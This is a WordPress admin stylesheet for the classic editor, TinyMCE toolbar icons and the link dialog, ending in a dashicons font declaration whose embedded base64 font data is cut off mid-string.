i.mce-i-bullist,
i.mce-i-numlist,
i.mce-i-blockquote,
i.mce-i-alignleft,
i.mce-i-aligncenter,
i.mce-i-alignright,
i.mce-i-link,
i.mce-i-unlink,
i.mce-i-wp_more,
i.mce-i-strikethrough,
i.mce-i-spellchecker,
i.mce-i-fullscreen,
i.mce-i-wp_fullscreen,
i.mce-i-dfw,
i.mce-i-wp_adv,
i.mce-i-underline,
i.mce-i-alignjustify,
i.mce-i-forecolor,
i.mce-i-backcolor,
i.mce-i-pastetext,
i.mce-i-pasteword,
i.mce-i-removeformat,
i.mce-i-charmap,
i.mce-i-outdent,
i.mce-i-indent,
i.mce-i-undo,
i.mce-i-redo,
i.mce-i-help,
i.mce-i-wp_help,
i.mce-i-wp-media-library,
i.mce-i-ltr,
i.mce-i-wp_page,
i.mce-i-hr,
i.mce-i-wp_code,
i.mce-i-dashicon,
i.mce-i-remove {
	font: normal 20px/1 dashicons;
	padding: 0;
	vertical-align: top;
	speak: never;
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
	margin-right: -2px;
	padding-left: 2px;
}

.qt-dfw {
	font: normal 20px/1 dashicons;
	vertical-align: top;
	speak: never;
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
}

i.mce-i-bold:before {
	content: "\f200";
}

i.mce-i-italic:before {
	content: "\f201";
}

i.mce-i-bullist:before {
	content: "\f203";
}

i.mce-i-numlist:before {
	content: "\f204";
}

i.mce-i-blockquote:before {
	content: "\f205";
}

i.mce-i-alignleft:before {
	content: "\f206";
}

i.mce-i-aligncenter:before {
	content: "\f207";
}

i.mce-i-alignright:before {
	content: "\f208";
}

i.mce-i-link:before {
	content: "\f103";
}

i.mce-i-unlink:before {
	content: "\f225";
}

i.mce-i-wp_more:before {
	content: "\f209";
}

i.mce-i-strikethrough:before {
	content: "\f224";
}

i.mce-i-spellchecker:before {
	content: "\f210";
}

i.mce-i-fullscreen:before,
i.mce-i-wp_fullscreen:before,
i.mce-i-dfw:before,
.qt-dfw:before {
	content: "\f211";
}

i.mce-i-wp_adv:before {
	content: "\f212";
}

i.mce-i-underline:before {
	content: "\f213";
}

i.mce-i-alignjustify:before {
	content: "\f214";
}

i.mce-i-forecolor:before,
i.mce-i-backcolor:before {
	content: "\f215";
}

i.mce-i-pastetext:before {
	content: "\f217";
}

i.mce-i-removeformat:before {
	content: "\f218";
}

i.mce-i-charmap:before {
	content: "\f220";
}

i.mce-i-outdent:before {
	content: "\f221";
}

i.mce-i-indent:before {
	content: "\f222";
}

i.mce-i-undo:before {
	content: "\f171";
}

i.mce-i-redo:before {
	content: "\f172";
}

i.mce-i-help:before,
i.mce-i-wp_help:before {
	content: "\f223";
}

i.mce-i-wp-media-library:before {
	content: "\f104";
}

i.mce-i-ltr:before {
	content: "\f320";
}

i.mce-i-wp_page:before {
	content: "\f105";
}

i.mce-i-hr:before {
	content: "\f460";
}

i.mce-i-remove:before {
	content: "\f158";
}

i.mce-i-wp_code:before {
	content: "\f475";
}

/* RTL button icons */
.rtl i.mce-i-outdent:before {
	content: "\f222";
}

.rtl i.mce-i-indent:before {
	content: "\f221";
}

/* Editors */
.wp-editor-wrap {
	position: relative;
}

.wp-editor-tools {
	position: relative;
	z-index: 1;
}

.wp-editor-tools:after {
	clear: both;
	content: "";
	display: table;
}

.wp-editor-container {
	clear: both;
	border: 1px solid #dcdcde;
}

.wp-editor-area {
	font-family: Consolas, Monaco, monospace;
	font-size: 13px;
	padding: 10px;
	margin: 1px 0 0;
	line-height: 150%;
	border: 0;
	outline: none;
	display: block;
	resize: vertical;
	box-sizing: border-box;
}

.rtl .wp-editor-area {
	font-family: Tahoma, Monaco, monospace;
}

.locale-he-il .wp-editor-area {
	font-family: Arial, Monaco, monospace;
}

.wp-editor-container textarea.wp-editor-area {
	width: 100%;
	margin: 0;
	box-shadow: none;
}

.wp-editor-tabs {
	float: left;
}

.wp-switch-editor {
	float: right;
	box-sizing: content-box;
	position: relative;
	top: 1px;
	background: #f0f0f1;
	color: #646970;
	cursor: pointer;
	font-size: 13px;
	line-height: 1.46153846;
	height: 20px;
	margin: 5px 5px 0 0;
	padding: 3px 8px 4px;
	border: 1px solid #dcdcde;
}

.wp-switch-editor:focus {
	box-shadow: 0 0 0 2px #2271b1;
	/* Only visible in Windows High Contrast mode */
	outline: 2px solid transparent;
	color: #1d2327;
}

.wp-switch-editor:active,
.html-active .switch-html:focus,
.tmce-active .switch-tmce:focus {
	box-shadow: none;
}

.wp-switch-editor:active {
	background-color: #f6f7f7;
	box-shadow: none;
}

.js .tmce-active .wp-editor-area {
	color: #fff;
}

.tmce-active .quicktags-toolbar {
	display: none;
}

.tmce-active .switch-tmce,
.html-active .switch-html {
	background: #f6f7f7;
	color: #50575e;
	border-bottom-color: #f6f7f7;
}

.wp-media-buttons {
	float: right;
}

.wp-media-buttons .button {
	margin-left: 5px;
	margin-bottom: 4px;
	padding-right: 7px;
	padding-left: 7px;
}

.wp-media-buttons .button:active {
	position: relative;
	top: 1px;
	margin-top: -1px;
	margin-bottom: 1px;
}

.wp-media-buttons .insert-media {
	padding-right: 5px;
}

.wp-media-buttons a {
	text-decoration: none;
	color: #3c434a;
	font-size: 12px;
}

.wp-media-buttons img {
	padding: 0 4px;
	vertical-align: middle;
}

.wp-media-buttons span.wp-media-buttons-icon {
	display: inline-block;
	width: 20px;
	height: 20px;
	line-height: 1;
	vertical-align: middle;
	margin: 0 2px;
}

.wp-media-buttons .add_media span.wp-media-buttons-icon {
	background: none;
}

.wp-media-buttons .add_media span.wp-media-buttons-icon:before {
	font: normal 18px/1 dashicons;
	speak: never;
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
}

.wp-media-buttons .add_media span.wp-media-buttons-icon:before {
	content: "\f104";
}

.mce-content-body dl.wp-caption {
	max-width: 100%;
}

/* Quicktags */
.quicktags-toolbar {
	padding: 3px;
	position: relative;
	border-bottom: 1px solid #dcdcde;
	background: #f6f7f7;
	min-height: 30px;
}

.has-dfw .quicktags-toolbar {
	padding-left: 35px;
}

.wp-core-ui .quicktags-toolbar input.button.button-small {
	margin: 2px;
}

.quicktags-toolbar input[value="link"] {
	text-decoration: underline;
}

.quicktags-toolbar input[value="del"] {
	text-decoration: line-through;
}

.quicktags-toolbar input[value="i"] {
	font-style: italic;
}

.quicktags-toolbar input[value="b"] {
	font-weight: 600;
}

.mce-toolbar .mce-btn-group .mce-btn.mce-wp-dfw,
.qt-dfw {
	position: absolute;
	top: 0;
	left: 0;
}

.mce-toolbar .mce-btn-group .mce-btn.mce-wp-dfw {
	margin: 7px 0 0 7px;
}

.qt-dfw {
	margin: 5px 0 0 5px;
}

.qt-fullscreen {
	position: static;
	margin: 2px;
}

@media screen and (max-width: 782px) {
	.mce-toolbar .mce-btn button,
	.qt-dfw {
		padding: 6px 7px;
	}

	/* Compensate for the extra box shadow at the bottom of .mce-btn.mce-primary */
	.mce-toolbar .mce-btn-group .mce-btn.mce-primary button {
		padding: 6px 7px 5px;
	}

	.mce-toolbar .mce-btn-group .mce-btn {
		margin: 1px;
	}

	.qt-dfw {
		width: 36px;
		height: 34px;
	}

	.mce-toolbar .mce-btn-group .mce-btn.mce-wp-dfw {
		margin: 4px 0 0 4px;
	}

	.mce-toolbar .mce-colorbutton .mce-preview {
		right: 8px;
		bottom: 6px;
	}

	.mce-window .mce-btn {
		padding: 2px 0;
	}

	.has-dfw div.mce-toolbar-grp .mce-toolbar.mce-first,
	.has-dfw .quicktags-toolbar {
		padding-left: 40px;
	}
}

@media screen and (min-width: 782px) {
	.wp-core-ui .quicktags-toolbar input.button.button-small {
		/* .button-small is normally 11px, but a bit too small for these buttons. */
		font-size: 12px;
		min-height: 26px;
		line-height: 2;
	}
}

#wp_editbtns,
#wp_gallerybtns {
	padding: 2px;
	position: absolute;
	display: none;
	z-index: 100020;
}

#wp_editimgbtn,
#wp_delimgbtn,
#wp_editgallery,
#wp_delgallery {
	background-color: #f0f0f1;
	margin: 2px;
	padding: 2px;
	border: 1px solid #8c8f94;
	border-radius: 3px;
}

#wp_editimgbtn:hover,
#wp_delimgbtn:hover,
#wp_editgallery:hover,
#wp_delgallery:hover {
	border-color: #50575e;
	background-color: #c3c4c7;
}

/*------------------------------------------------------------------------------
 wp-link
------------------------------------------------------------------------------*/

#wp-link-wrap {
	display: none;
	background-color: #fff;
	box-shadow: 0 3px 6px rgba(0, 0, 0, 0.3);
	width: 500px;
	overflow: hidden;
	margin-right: -250px;
	margin-top: -125px;
	position: fixed;
	top: 50%;
	right: 50%;
	z-index: 100105;
	transition: height 0.2s, margin-top 0.2s;
}

#wp-link-backdrop {
	display: none;
	position: fixed;
	top: 0;
	right: 0;
	left: 0;
	bottom: 0;
	min-height: 360px;
	background: #000;
	opacity: 0.7;
	filter: alpha(opacity=70);
	z-index: 100100;
}

#wp-link {
	position: relative;
	height: 100%;
}

#wp-link-wrap {
	height: 600px;
	margin-top: -300px;
}

#wp-link-wrap .wp-link-text-field {
	display: none;
}

#wp-link-wrap.has-text-field .wp-link-text-field {
	display: block;
}

#link-modal-title {
	background: #fff;
	border-bottom: 1px solid #dcdcde;
	font-size: 18px;
	font-weight: 600;
	line-height: 2;
	margin: 0;
	padding: 0 16px 0 36px;
}

#wp-link-close {
	color: #646970;
	padding: 0;
	position: absolute;
	top: 0;
	left: 0;
	width: 36px;
	height: 36px;
	text-align: center;
	background: none;
	border: none;
	cursor: pointer;
}

#wp-link-close:before {
	font: normal 20px/36px dashicons;
	vertical-align: top;
	speak: never;
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
	width: 36px;
	height: 36px;
	content: "\f158";
}

#wp-link-close:hover,
#wp-link-close:focus {
	color: #135e96;
}

#wp-link-close:focus {
	box-shadow: 0 0 0 2px #2271b1;
	/* Only visible in Windows High Contrast mode */
	outline: 2px solid transparent;
	outline-offset: -2px;
}

#wp-link-wrap #link-selector {
	-webkit-overflow-scrolling: touch;
	padding: 0 16px;
	position: absolute;
	top: calc(2.15384615em + 16px);
	right: 0;
	left: 0;
	bottom: calc(2.15384615em + 19px);
	display: flex;
	flex-direction: column;
	overflow: auto;
}

#wp-link ol,
#wp-link ul {
	list-style: none;
	margin: 0;
	padding: 0;
}

#wp-link input[type="text"] {
	box-sizing: border-box;
}

#wp-link #link-options {
	padding: 8px 0 12px;
}

#wp-link p.howto {
	margin: 3px 0;
}

#wp-link p.howto a {
	text-decoration: none;
	color: inherit;
}

#wp-link label input[type="text"] {
	margin-top: 5px;
	width: 70%;
}

#wp-link #link-options label span,
#wp-link #search-panel label span.search-label {
	display: inline-block;
	width: 120px;
	text-align: left;
	padding-left: 5px;
	max-width: 24%;
	vertical-align: middle;
	word-wrap: break-word;
}

#wp-link .link-search-field {
	width: 250px;
	max-width: 70%;
}

#wp-link .link-search-wrapper {
	margin: 5px 0 9px;
	display: block;
}

#wp-link .query-results {
	position: absolute;
	width: calc(100% - 32px);
}

#wp-link .link-search-wrapper .spinner {
	float: none;
	margin: -3px 4px 0 0;
}

#wp-link .link-target {
	padding: 3px 0 0;
}

#wp-link .link-target label {
	max-width: 70%;
}

#wp-link .query-results {
	border: 1px #dcdcde solid;
	margin: 0 0 12px;
	background: #fff;
	overflow: auto;
	max-height: 290px;
}

#wp-link li {
	clear: both;
	margin-bottom: 0;
	border-bottom: 1px solid #f0f0f1;
	color: #2c3338;
	padding: 4px 10px 4px 6px;
	cursor: pointer;
	position: relative;
}

#wp-link .query-notice {
	padding: 0;
	border-bottom: 1px solid #dcdcde;
	background-color: #fff;
	color: #000;
}

#wp-link .query-notice .query-notice-default,
#wp-link .query-notice .query-notice-hint {
	display: block;
	padding: 6px;
	border-right: 4px solid #72aee6;
}

#wp-link .unselectable.no-matches-found {
	padding: 0;
	border-bottom: 1px solid #dcdcde;
	background-color: #f6f7f7;
}

#wp-link .no-matches-found .item-title {
	display: block;
	padding: 6px;
	border-right: 4px solid #d63638;
}

#wp-link .query-results em {
	font-style: normal;
}

#wp-link li:hover {
	background: #f0f6fc;
	color: #101517;
}

#wp-link li.unselectable {
	border-bottom: 1px solid #dcdcde;
}

#wp-link li.unselectable:hover {
	background: #fff;
	cursor: auto;
	color: #2c3338;
}

#wp-link li.selected {
	background: #dcdcde;
	color: #2c3338;
}

#wp-link li.selected .item-title {
	font-weight: 600;
}

#wp-link li:last-child {
	border: none;
}

#wp-link .item-title {
	display: inline-block;
	width: 80%;
	width: calc(100% - 68px);
	word-wrap: break-word;
}

#wp-link .item-info {
	text-transform: uppercase;
	color: #646970;
	font-size: 11px;
	position: absolute;
	left: 5px;
	top: 5px;
}

#wp-link .river-waiting {
	display: none;
	padding: 10px 0;
}

#wp-link .submitbox {
	padding: 8px 16px;
	background: #fff;
	border-top: 1px solid #dcdcde;
	position: absolute;
	bottom: 0;
	right: 0;
	left: 0;
}

#wp-link-cancel {
	line-height: 1.92307692;
	float: right;
}

#wp-link-update {
	line-height: 1.76923076;
	float: left;
}

#wp-link-submit {
	float: left;
}

@media screen and (max-width: 782px) {
	#link-selector {
		padding: 0 16px 60px;
	}

	#wp-link-wrap #link-selector {
		bottom: calc(2.71428571em + 23px);
	}

	#wp-link-cancel {
		line-height: 2.46153846;
	}

	#wp-link .link-target {
		padding-top: 10px;
	}

	#wp-link .submitbox .button {
		margin-bottom: 0;
	}
}

@media screen and (max-width: 520px) {
	#wp-link-wrap {
		width: auto;
		margin-right: 0;
		right: 10px;
		left: 10px;
		max-width: 500px;
	}
}

@media screen and (max-height: 620px) {
	#wp-link-wrap {
		transition: none;
		height: auto;
		margin-top: 0;
		top: 10px;
		bottom: 10px;
	}

	#link-selector {
		overflow: auto;
	}
}

@media screen and (max-height: 290px) {
	#wp-link-wrap {
		height: auto;
		margin-top: 0;
		top: 10px;
		bottom: 10px;
	}

	#link-selector {
		overflow: auto;
		height: calc(100% - 92px);
		padding-bottom: 2px;
	}
}

div.wp-link-preview {
	float: right;
	margin: 5px;
	max-width: 694px;
	overflow: hidden;
	text-overflow: ellipsis;
}

div.wp-link-preview a {
	color: #2271b1;
	text-decoration: underline;
	transition-property: border, background, color;
	transition-duration: .05s;
	transition-timing-function: ease-in-out;
	cursor: pointer;
}

div.wp-link-preview a.wplink-url-error {
	color: #d63638;
}

div.wp-link-input {
	float: right;
	margin: 2px;
	max-width: 694px;
}

div.wp-link-input input {
	width: 300px;
	padding: 3px;
	box-sizing: border-box;
	line-height: 1.28571429; /* 18px */
	/* Override value inherited from default input fields. */
	min-height: 26px;
}

.mce-toolbar div.wp-link-preview ~ .mce-btn,
.mce-toolbar div.wp-link-input ~ .mce-btn {
	margin: 2px 1px;
}

.mce-inline-toolbar-grp .mce-btn-group .mce-btn:last-child {
	margin-left: 2px;
}

.ui-autocomplete.wplink-autocomplete {
	z-index: 100110;
	max-height: 200px;
	overflow-y: auto;
	padding: 0;
	margin: 0;
	list-style: none;
	position: absolute;
	border: 1px solid #4f94d4;
	box-shadow: 0 1px 2px rgba(79, 148, 212, 0.8);
	background-color: #fff;
}

.ui-autocomplete.wplink-autocomplete li {
	margin-bottom: 0;
	padding: 4px 10px;
	clear: both;
	white-space: normal;
	text-align: right;
}

.ui-autocomplete.wplink-autocomplete li .wp-editor-float-right {
	float: left;
}

.ui-autocomplete.wplink-autocomplete li.ui-state-focus {
	background-color: #dcdcde;
	cursor: pointer;
}

@media screen and (max-width: 782px) {
	div.wp-link-preview,
	div.wp-link-input {
		max-width: 70%;
		max-width: calc(100% - 86px);
	}

	div.wp-link-preview {
		margin: 8px 5px 8px 0;
	}

	div.wp-link-input {
		width: 300px;
	}

	div.wp-link-input input {
		width: 100%;
		font-size: 16px;
		padding: 5px;
	}
}

/* =Overlay Body
-------------------------------------------------------------- */

.mce-fullscreen {
	z-index: 100010;
}

/* =Localization
-------------------------------------------------------------- */
.rtl .wp-switch-editor,
.rtl .quicktags-toolbar input {
	font-family: Tahoma, sans-serif;
}

/* rtl:ignore */
.mce-rtl .mce-flow-layout .mce-flow-layout-item > div {
	direction: rtl;
}

/* rtl:ignore */
.mce-rtl .mce-listbox i.mce-caret {
	left: 6px;
}

html:lang(he-il) .rtl .wp-switch-editor,
html:lang(he-il) .rtl .quicktags-toolbar input {
	font-family: Arial, sans-serif;
}

/* HiDPI */
@media print,
  (min-resolution: 120dpi) {
	.wp-media-buttons .add_media span.wp-media-buttons-icon {
		background: none;
	}
}
/*! This file is auto-generated */
.wp-block-button__link{color:#fff;background-color:#32373c;border-radius:9999px;box-shadow:none;text-decoration:none;padding:calc(.667em + 2px) calc(1.333em + 2px);font-size:1.125em}.wp-block-file__button{background:#32373c;color:#fff;text-decoration:none}/**
 * DO NOT EDIT THIS FILE DIRECTLY
 * This file is automatically built using a build process
 * If you need to fix errors, see https://github.com/WordPress/dashicons
 */

/* stylelint-disable function-url-quotes, declaration-colon-newline-after */
@font-face {
	font-family: dashicons;
	src: url("../fonts/dashicons.eot?99ac726223c749443b642ce33df8b800");
	src: url("../fonts/dashicons.eot?99ac726223c749443b642ce33df8b800#iefix") format("embedded-opentype"),
		url("data:application/x-font-woff;charset=utf-8;base64,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